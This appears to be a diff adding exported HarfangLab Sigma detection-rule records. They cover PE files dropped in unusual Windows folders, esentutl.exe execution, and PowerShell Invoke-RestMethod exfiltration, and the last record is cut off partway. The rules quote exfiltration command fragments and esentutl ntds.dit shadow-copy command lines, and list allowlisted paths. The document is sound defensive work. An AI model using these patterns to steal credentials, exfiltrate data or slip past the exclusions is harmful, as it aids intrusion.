+  "content": "title: PE File Written in Suspicious Location\nid: 118fe9fa-f27d-4da6-bee4-85f73fe9c76c\ndescription: |\n    Detects the writing of a Portable Executable file in a suspicious location.\n    Attacker can drop DLLs or PEs in unconventionnal directories to prevent security softwares or users seeing them.\n    It is recommended to analyze the dropped file for malicious content.\nreferences:\n    - https://attack.mitre.org/techniques/T1564/\n    - https://attack.mitre.org/techniques/T1036/\ndate: 2023/07/10\nmodified: 2025/11/26\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1564\n    - attack.t1036\n    - classification.Windows.Source.Filesystem\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Masquerading\nlogsource:\n    category: filesystem_write\n    product: windows\ndetection:\n    selection:\n        FirstBytes|startswith: '4d5a'\n\n    selection_appdata_1:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Roaming\\'\n    filter_appdata_1:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Roaming\\\\*\\'\n\n    selection_appdata_2:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Local\\'\n    filter_appdata_2:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Local\\\\*\\'\n\n    selection_appdata_3:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Local\\Temp\\'\n    filter_appdata_3:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\'\n\n    selection_appdata_4:\n        Path|startswith: '?:\\Users\\\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\Content.Outlook\\'\n\n    selection_winsxs:\n        Path|startswith: '?:\\Windows\\WinSxS\\'\n    filter_winsxs:\n        Path|startswith: '?:\\Windows\\WinSxS\\\\*\\'\n\n    selection_prefetch:\n        Path|startswith: '?:\\Windows\\Prefetch\\'\n    filter_prefetch:\n        Path|startswith: '?:\\Windows\\Prefetch\\\\*\\'\n\n    selection_tasks:\n        Path|startswith: '?:\\Windows\\Tasks\\'\n    filter_tasks:\n        Path|startswith: '?:\\Windows\\Tasks\\\\*\\'\n\n    selection_system32_tasks:\n        Path|startswith: '?:\\Windows\\system32\\Tasks\\'\n    filter_system32_tasks:\n        Path|startswith: '?:\\Windows\\system32\\Tasks\\\\*\\'\n\n    selection_debug:\n        Path|startswith: '?:\\Windows\\debug\\'\n    filter_debug:\n        Path|startswith: '?:\\Windows\\debug\\\\*\\'\n\n    selection_tracing:\n        Path|startswith: '?:\\Windows\\tracing\\'\n    filter_tracing:\n        Path|startswith: '?:\\Windows\\tracing\\\\*\\'\n\n    selection_help:\n        Path|startswith: '?:\\Windows\\help\\'\n    filter_help:\n        Path|startswith: '?:\\Windows\\help\\\\*\\'\n\n    selection_logs:\n        Path|startswith: '?:\\Windows\\logs\\'\n\n    selection_fonts:\n        Path|startswith: '?:\\Windows\\Fonts\\'\n\n    selection_programdata:\n        Path|startswith: '?:\\ProgramData\\'\n    filter_programdata:\n        Path|startswith: '?:\\ProgramData\\\\*\\'\n\n    selection_user:\n        Path|startswith:\n            - '?:\\Users\\\\*\\Music\\'\n            - '?:\\Users\\\\*\\Videos\\'\n            - '?:\\Users\\\\*\\Pictures\\'\n            - '?:\\Users\\\\*\\Contacts\\'\n            - '?:\\Users\\\\*\\3D Objects\\'\n            - '?:\\Users\\\\*\\Saved Games\\'\n            - '?:\\Users\\\\*\\Links\\'\n            - '?:\\Users\\\\*\\Favorites\\'\n    filter_user_1:\n        Path|startswith:\n            - '?:\\Users\\\\*\\\\*\\Music\\'\n            - '?:\\Users\\\\*\\\\*\\Videos\\'\n            - '?:\\Users\\\\*\\\\*\\Pictures\\'\n            - '?:\\Users\\\\*\\\\*\\Contacts\\'\n            - '?:\\Users\\\\*\\\\*\\3D Objects\\'\n            - '?:\\Users\\\\*\\\\*\\Saved Games\\'\n            - '?:\\Users\\\\*\\\\*\\Links\\'\n            - '?:\\Users\\\\*\\\\*\\Favorites\\'\n    # Filtering out folders with 2 or more levels of depth\n    filter_user_2:\n        Path|startswith:\n            - '?:\\Users\\\\*\\Music\\\\*\\\\*\\'\n            - '?:\\Users\\\\*\\Videos\\\\*\\\\*\\'\n            - '?:\\Users\\\\*\\Pictures\\\\*\\\\*\\'\n            - '?:\\Users\\\\*\\Contacts\\\\*\\\\*\\'\n            - '?:\\Users\\\\*\\3D Objects\\\\*\\\\*\\'\n            - '?:\\Users\\\\*\\Saved Games\\\\*\\\\*\\'\n            - '?:\\Users\\\\*\\Links\\\\*\\\\*\\'\n            - '?:\\Users\\\\*\\Favorites\\\\*\\\\*\\'\n\n    selection_inf:\n        Path|startswith: '?:\\Windows\\INF\\'\n\n    selection_config:\n        Path|startswith: '?:\\Windows\\System32\\config\\'\n    filter_config:\n        Path|startswith: '?:\\Windows\\System32\\config\\\\*\\'\n\n    selection_evt:\n        Path|startswith: '?:\\Windows\\System32\\winevt\\'\n\n    selection_public:\n        Path|startswith: '?:\\Users\\Public\\'\n    filter_public:\n        Path|startswith: '?:\\Users\\Public\\\\*\\'\n\n    selection_perflogs:\n        Path|startswith: '?:\\Perflogs\\'\n    filter_perflogs:\n        Path|startswith: '?:\\Perflogs\\\\*\\'\n\n    exclusion_system:\n        ProcessName: 'system'\n        ProcessId: '4'\n\n    exclusion_qlive:\n        ProcessImage|endswith: '\\QQLive.exe'\n        Path: '?:\\ProgramData\\QLDZModule.dll'\n\n    exclusion_sesame:\n        ProcessImage|endswith: '\\Sesame.exe'\n        Path: '?:\\Users\\\\*\\AppData\\Roaming\\\\*.dll'\n\n    exclusion_itextsharp:\n        Path: '?:\\Windows\\Fonts\\itextsharp.dll'\n\n    exclusion_logs_pbr:\n        ProcessImage:\n            - '?:\\Windows\\System32\\systemsettingsadminflows.exe'\n            - '?:\\WINDOWS\\system32\\omadmclient.exe'\n            - '?:\\Windows\\System32\\systemreset.exe'\n            - '?:\\Windows\\System32\\resetengine.exe'\n        Path: '?:\\Windows\\Logs\\PBR\\\\*'\n\n    exclusion_fonts:\n        Path:\n            - '?:\\Windows\\Fonts\\\\*.fon'\n            - '?:\\Windows\\Fonts\\\\*.fot'\n            - '?:\\Windows\\Fonts\\\\*.rra'\n            - '?:\\Windows\\Fonts\\is-*.tmp'\n\n    exclusion_explorer:\n        ProcessImage: '?:\\windows\\Explorer.EXE'\n\n    # When downloading files from browsers they create temporary extensions for files\n    # For caching and verification. This could be reduced to a \"Downloads\" folder only.\n    exclusion_browser_extensions:\n        Path|endswith:\n            - '.crdownload' # Chrome\n            - '.part' # Firefox\n            - '.partial' # Edge\n            - '.download' # Safari\n            - '\\Downloads\\\\????????-????-????-????-????????????.tmp'\n\n    exclusion_migration_service:\n        Path: '?:\\ProgramData\\UserProfileMigrationService.exe'\n\n    exclusion_4kviddl:\n        Path|startswith: '?:\\Users\\\\*\\Music\\4kvideodownloader\\'\n\n    exclusion_tmp:\n        Path: '?:\\Users\\\\*\\AppData\\Local\\Z@H!-*-??.tmp'\n\n    exclusion_public:\n        Path:\n            - '?:\\Users\\Public\\AnyDesk.exe'\n            - '?:\\Users\\Public\\gcapi.dll'\n            - '?:\\Users\\Public\\python.exe'\n            - '?:\\Users\\Public\\splunkdd.exe'\n            - '?:\\Users\\Public\\splunkd.exe'\n\n    exclusion_roaming:\n        Path:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\DPInst.exe'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\gacutil.exe'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\PnPutil.exe'\n\n    exclusion_uninstall:\n        Path:\n            # Files of the following format:\n            # PyCharm2023.2_232.8660.197_Uninstall.exe\n            - '?:\\ProgramData\\\\*20??.?_???.????.*_Uninstall.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\\\*20??.?_???.????.*_Uninstall.exe'\n\n    exclusion_winscp:\n        Path: '?:\\Users\\\\*\\AppData\\Roaming\\winscp.rnd'\n\n    exclusion_dotnet:\n        Path|startswith:\n            - '?:\\Users\\\\*\\\\*\\bin\\Debug\\net*\\'\n            - '?:\\Users\\\\*\\\\*\\bin\\Release\\net*\\'\n\n    exclusion_rollbacks:\n        Path|startswith:\n            - '?:\\Windows\\Logs\\PBR\\$Windows.~BT\\MigrationShims\\MigShim2\\'\n            - '?:\\Windows\\Logs\\PBR\\$Windows.~BT_Rollback\\EFI\\Microsoft\\Boot\\'\n            - '?:\\Windows\\Logs\\PBR\\Panther\\\\*\\MigrationShims\\MigShim2\\'\n            - '?:\\Windows\\Logs\\PBR\\Panther\\Rollback\\EFI\\Microsoft\\Boot\\'\n            - '?:\\Windows\\Logs\\PBR\\Panther\\_s_????.tmp'\n            - '?:\\Windows\\Logs\\PBR\\Panther\\_s_???.tmp'\n\n    exclusion_anydesk_dl:\n        Path|endswith: '\\Downloads\\AnyDesk.exe'\n\n    exclusion_redist:\n        Path:\n            - '?:\\Users\\\\*\\AppData\\Local\\TempDirectX?.EXE'\n            - '?:\\Users\\\\*\\AppData\\Local\\TempDirectX??.EXE'\n            - '?:\\Users\\\\*\\AppData\\Local\\Tempvcredist20??_x??.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Tempvcredist20??_20??_20??_x??.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\TempVC_redist.x??.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Tempvjredist64.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Tempvjredist.exe'\n\n    exclusion_putty:\n        Path: '?:\\Users\\\\*\\AppData\\Local\\PUTTY.RND'\n\n    exclusion_sqlce:\n        Path:\n            - '?:\\Users\\\\*\\AppData\\Roaming\\sqlcecompact??.dll'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\sqlce????.dll'\n\n    exclusion_clu:\n        Path:\n            - '?:\\Users\\\\*\\CLU_V*\\ComponentMgr.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\expat.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\libexpat.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\PMUdsCm.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\PMUdsDm.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\PMUsrApi.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\RDHWebSercieMgr.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\RdsMisc.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\restCdom.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\RESTSDK.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\RFUT.exe'\n            - '?:\\Users\\\\*\\CLU_V*\\RInetwrp2.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\RInetwrp.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\ServerMgr.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\SnmpGet.exe'\n            - '?:\\Users\\\\*\\CLU_V*\\soapCdom.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\soapCls2.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\soapCls.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\soapDms.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\soapProx.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\soapUad.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\soapUD.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\soapUds.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\unzip32.dll'\n            - '?:\\Users\\\\*\\CLU_V*\\zip32.dll'\n\n    exclusion_motic_drivers:\n        Path|startswith: '?:\\Windows\\INF\\Motic Drivers\\'\n\n    exclusion_aee_tools:\n        Path: '?:\\Users\\\\*\\AppData\\Local\\AEE-Tools'\n\n    exclusion_installshield_uninstallers:\n        Path:\n            - '?:\\ProgramData\\\\*????.?_*_Uninstall.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\\\*????.?_*_Uninstall.exe'\n\n    exclusion_polycom:\n        Path: '?:\\Users\\\\*\\AppData\\Roaming\\PolycomCompanionSetup.exe'\n\n    exclusion_bit_tmp:\n        Path:\n            - '?:\\ProgramData\\BIT????.tmp'\n            - '?:\\ProgramData\\BIT???.tmp'\n\n    exclusion_bluestacks_tmp:\n        Path: '?:\\ProgramData\\BlueStacksServicesSetup.exe.tmp'\n\n    exclusion_cardpresso:\n        Path: '?:\\ProgramData\\cardPresso.bin'\n\n    exclusion_generic_uninstaller:\n        Path:\n            - '?:\\ProgramData\\\\*20??.?_???.?????.??_Uninstall.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\\\*20??.?_???.?????.??_Uninstall.exe'\n\n    exclusion_keypass:\n        Path:\n            - '?:\\Users\\\\*\\KeePass Password Safe 2\\ShInstUtil.exe'\n            - '?:\\Users\\\\*\\KeePass Password Safe 2\\unins000.exe'\n\n    exclusion_setup_prod:\n        Path: '?:\\Users\\\\*\\AppData\\Roaming\\SetupProd_Act.exe'\n\n    exclusion_mtxagent:\n        ProcessImage: '?:\\Program Files\\BMC Software\\Client Management\\Client\\bin\\mtxagent.exe'\n        ProcessSigned: 'true'\n\n    # Just for fun: process used by the Spanish police to identify\n    # users via their electronic identity card\n    exclusion_dnieservice:\n        Path: '?:\\Users\\\\*\\AppData\\Local\\DNIeService.exe'\n        ProcessCommandLine: '?:\\windows\\system32\\svchost.exe -k netsvcs -s CertPropSvc'\n\n    exclusion_ProfSvc:\n        Path: '?:\\Users\\\\*\\AppData\\Local\\{????????-????-????-????-????????????}.tmp'\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s ProfSvc'\n\n    exclusion_msmpeng:\n        ProcessOriginalFileName: 'MsMpEng.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_bomgar:\n        ProcessImage|endswith:\n            - '\\bomgar-scc.exe'\n            - '\\sra-scc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature:\n            - 'Bomgar Corporation'\n            - 'BeyondTrust Corporation'\n        Path:\n            - '?:\\ProgramData\\Z@S!-????????-????-????-????-????????????.tmp'\n            - '?:\\ProgramData\\btsccoi-????????????????????????????????.exe'\n\n    exclusion_bomgar_install:\n        ProcessImage|endswith: '\\nstvstub.exe'\n        ProcessCommandLine|contains|all:\n            - ' --install '\n            - ' --hwnd '\n        Path: '?:\\ProgramData\\Z@S!-????????-????-????-????-????????????.tmp'\n\n    exclusion_office_deployment_tool:\n        ProcessImage|endswith: '\\officedeploymenttool_*.exe'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_mssense:\n        ProcessImage: '?:\\Program Files\\Windows Defender Advanced Threat Protection\\MsSense.exe'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_autobackup:\n        ProcessOriginalFileName: 'AutoBackup?Pro.exe'\n        ProcessSignature: 'Fabrice PARISOT'\n\n    exclusion_tsplus:\n        ProcessImage:\n            - '?:\\Program Files\\TSplus\\UserDesktop\\files\\svcr.exe'\n            - '?:\\Program Files (x86)\\TSplus\\UserDesktop\\files\\svcr.exe'\n        ProcessSignature: 'Remote Access World SAS'\n\n    exclusion_installshield:\n        ProcessImage:\n            - '?:\\Program Files\\Common Files\\InstallShield\\Engine\\\\*\\Intel*\\IKernel.exe'\n            - '?:\\Program Files (x86)\\Common Files\\InstallShield\\Engine\\\\*\\Intel*\\IKernel.exe'\n\n    exclusion_fastviewer:\n        ProcessSigned: 'true'\n        ProcessSignature: 'FastViewer GmbH'\n        Path: '?:\\Users\\\\*\\Music\\exe\\\\*.tmp'\n\n    exclusion_hp:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        Path: '?:\\Users\\\\*\\AppData\\Roaming\\SecondaryApp.exe'\n\n    exclusion_hp_devicestup:\n        ProcessImage: '?:\\Program Files\\HP\\HP * series\\Bin\\DeviceSetup.exe'\n        Path: '?:\\Users\\\\*\\AppData\\Local\\Full_Webpack-* _Full_Webpack.exe'\n\n    exclusion_msiexec:\n        ProcessImage: '?:\\Windows\\System32\\msiexec.exe'\n        Path|startswith: '?:\\Windows\\INF\\'\n\n    exclusion_installer:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\7z*\\setup.exe'\n        Path:\n            - '?:\\Users\\\\*\\AppData\\Local\\\\*.dll'\n            - '?:\\Users\\\\*\\AppData\\Local\\\\*.exe'\n\n    exclusion_eraser:\n        ProcessImage|endswith: '\\Eraser.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Rare Ideas, LLC'\n        Path: '?:\\ProgramData\\\\*.dll'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n        Path|endswith: '\\{????????-????-????-????-????????????}.tmp'\n\n    # Behringer X-USB\n    exclusion_behringer:\n        ProcessImage:\n            - '?:\\Windows\\System32\\svchost.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\ns?????.tmp\\ns?????.tmp'\n        Path:\n            - '?:\\ProgramData\\CNE???.tmp'\n            - '?:\\ProgramData\\CNE????.tmp'\n\n    # LANDesk® Management Suite\n    exclusion_landesk:\n        ProcessImage:\n            - '?:\\Windows\\Temp\\inst32.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\inst32.exe'\n        ProcessDescription: 'INSTALL MFC Application'\n        Path: '?:\\Windows\\Fonts\\zch????.tmp'\n\n    exclusion_phpstorm:\n        ProcessImage|endswith: '\\PhpStorm-????.?.?.exe'\n        ProcessDescription: 'PhpStorm Windows Installer'\n        Path|endswith: '\\PhpStorm????.?_*_Uninstall.exe'\n\n    exclusion_proxynetworks:\n        ProcessImage|endswith: '\\PhSvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Proxy Networks Inc.'\n        Path: '?:\\ProgramData\\PHodCln-{????????-????-????-????-????????????}.exe'\n\n    exclusion_magic:\n        ProcessImage:\n            - '?:\\Program Files\\MagicUtilities\\MagicMouseUtilities.exe'\n            - '?:\\Program Files\\MagicUtilities\\MagicTrackpadUtilities.exe'\n            - '?:\\Program Files\\MagicUtilities\\MagicKeyboardUtilities.exe'\n        Path: '?:\\ProgramData\\fnebeqbh.fxh'\n\n    exclusion_image:\n        ProcessImage:\n            - '?:\\Windows\\System32\\Robocopy.exe'\n            - '?:\\Program Files\\7-Zip\\7zG.exe'\n\n    condition: selection and 1 of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "118fe9fa-f27d-4da6-bee4-85f73fe9c76c",
+  "rule_name": "PE File Written in Suspicious Location",
+  "rule_description": "Detects the writing of a Portable Executable file in a suspicious location.\nAttacker can drop DLLs or PEs in unconventionnal directories to prevent security softwares or users seeing them.\nIt is recommended to analyze the dropped file for malicious content.\n",
+  "rule_creation_date": "2023-07-10",
+  "rule_modified_date": "2025-11-26",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1036",
+    "attack.t1564"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "11f7107e-28d1-4486-afca-4379b68744b3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627287Z",
+  "creation_date": "2026-03-23T11:45:34.627289Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627293Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/",
+    "https://attack.mitre.org/techniques/T1218/",
+    "https://attack.mitre.org/techniques/T1564/004/",
+    "https://attack.mitre.org/techniques/T1570/",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/software/S0404/"
+  ],
+  "name": "t1218_esentutl.yml",
+  "content": "title: Esentutl.exe Execution\nid: 11f7107e-28d1-4486-afca-4379b68744b3\ndescription: |\n    Detects the execution of esentutl.exe, a legitimate Windows database utility.\n    Adversaries may misuse this tool to manipulate files, access sensitive data, or disable security measures.\n    It is recommended to investigate the legitimacy of the esentutl.exe execution and review file accesses.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Esentutl/\n    - https://attack.mitre.org/techniques/T1218/\n    - https://attack.mitre.org/techniques/T1564/004/\n    - https://attack.mitre.org/techniques/T1570/\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/software/S0404/\ndate: 2021/07/09\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.t1564.004\n    - attack.lateral_movement\n    - attack.t1570\n    - attack.command_and_control\n    - attack.t1105\n    - attack.s0404\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Esentutl\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Deletion\n    - classification.Windows.Behavior.FileDownload\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Image|endswith: '\\esentutl.exe'\n        - OriginalFileName: 'esentutl.exe'\n\n    # This is handled by the rule 8610a64e-eb0f-436c-b21d-33f757ea41f0\n    filter_vss:\n        CommandLine|contains|all:\n            - ' /y '\n            - ' /vss '\n\n    exclusion_parentimage:\n        ParentImage:\n            - '?:\\Program Files\\Veritas\\NetBackup\\bin\\bpbkar32.exe'\n            - '?:\\ProgramData\\Cyvera\\LocalSystem\\Download\\protected_payload_execution\\cortex-xdr-payload.exe'\n            - '?:\\Program Files\\HDCleaner\\HDCleaner.exe'\n            - '?:\\Program Files\\Magnet Forensics\\Magnet AXIOM\\AXIOM Process\\AXIOMProcess.exe'\n            - '?:\\Program Files\\Symantec\\Backup Exec\\beremote.exe'\n\n    exclusion_commandline:\n        CommandLine:\n            - 'esentutl.exe'\n            - 'esentutl /g'\n            - 'esentutl.exe /d ?:\\ProgramData\\Microsoft\\Search\\Data\\Applications\\Windows\\Windows.edb'\n\n    exclusion_arcserve_backup:\n        ParentImage: '?:\\Program Files\\CA\\SharedComponents\\ARCserve Backup\\UniAgent\\caagstart.exe'\n        # C:\\Windows\\system32\\esentutl /K \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy89\\Windows\\NTDS\\edb06C20.log\n        # C:\\Windows\\system32\\esentutl /K \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy103\\Windows\\NTDS\\ntds.dit\n        CommandLine:\n            - '?:\\Windows\\system32\\esentutl /K *\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy*\\Windows\\NTDS\\edb*.log'\n            - '?:\\Windows\\system32\\esentutl /K *\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy*\\Windows\\NTDS\\ntds.dit'\n\n    # Microsoft File Replication Service\n    exclusion_ntrfs:\n        ParentImage: '?:\\Windows\\System32\\ntfrs.exe'\n        CommandLine: 'esentutl /d ?:\\windows\\ntfrs\\jet\\ntfrs.jdb'\n\n    exclusion_edblog:\n        CommandLine:\n            - '?:\\Windows\\system32\\esentutl.exe /? edb.log'\n            - '?:\\Windows\\system32\\esentutl.exe /?? edb.log'\n\n    exclusion_veritas_backup:\n        ParentImage: '?:\\Program Files\\Veritas\\Backup Exec\\raws\\beremote.exe'\n        GrandparentImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "11f7107e-28d1-4486-afca-4379b68744b3",
+  "rule_name": "Esentutl.exe Execution",
+  "rule_description": "Detects the execution of esentutl.exe, a legitimate Windows database utility.\nAdversaries may misuse this tool to manipulate files, access sensitive data, or disable security measures.\nIt is recommended to investigate the legitimacy of the esentutl.exe execution and review file accesses.\n",
+  "rule_creation_date": "2021-07-09",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218",
+    "attack.t1564.004",
+    "attack.t1570"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "12043ba4-4c8f-42df-8036-1677ede6fb84",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.623724Z",
+  "creation_date": "2026-03-23T11:45:34.623727Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.623731Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cert.pl/uploads/docs/CERT_Polska_Energy_Sector_Incident_Report_2025.pdf",
+    "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-restmethod?view=powershell-7.5",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1059_001_data_exfiltration_invoke_restmethod.yml",
+  "content": "title: Data Exfiltration via Invoke-RestMethod\nid: 12043ba4-4c8f-42df-8036-1677ede6fb84\ndescription: |\n    Detects attempts to exfiltrate data via PowerShell using the Invoke-RestMethod cmdlet with an HTTP POST to an external server.\n    Attackers can use this command to exfiltrate sensitive data, as was observed in the attack against the energy sector in Poland in 2025.\n    It is recommended to investigate the context surrounding this command and verify the legitimacy of the remote server involved in the request.\nreferences:\n    - https://cert.pl/uploads/docs/CERT_Polska_Energy_Sector_Incident_Report_2025.pdf\n    - https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-restmethod?view=powershell-7.5\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2026/01/30\nmodified: 2026/03/17\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.001\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains|all:\n            - 'Invoke-RestMethod '\n            - ' -Ur' # -Uri\n            - ' -Me' # -Method\n            - ' -I' # -InFile\n            - ' POST'\n        ScriptNumberOfLines: 1\n\n    filter_script:\n        PowershellScriptPath|contains: '?'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "12043ba4-4c8f-42df-8036-1677ede6fb84",
+  "rule_name": "Data Exfiltration via Invoke-RestMethod",
+  "rule_description": "Detects attempts to exfiltrate data via PowerShell using the Invoke-RestMethod cmdlet with an HTTP POST to an external server.\nAttackers can use this command to exfiltrate sensitive data, as was observed in the attack against the energy sector in Poland in 2025.\nIt is recommended to investigate the context surrounding this command and verify the legitimacy of the remote server involved in the request.\n",
+  "rule_creation_date": "2026-01-30",
+  "rule_modified_date": "2026-03-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1567"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "12345a32-eabd-4124-ad05-d724d29e4fd1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
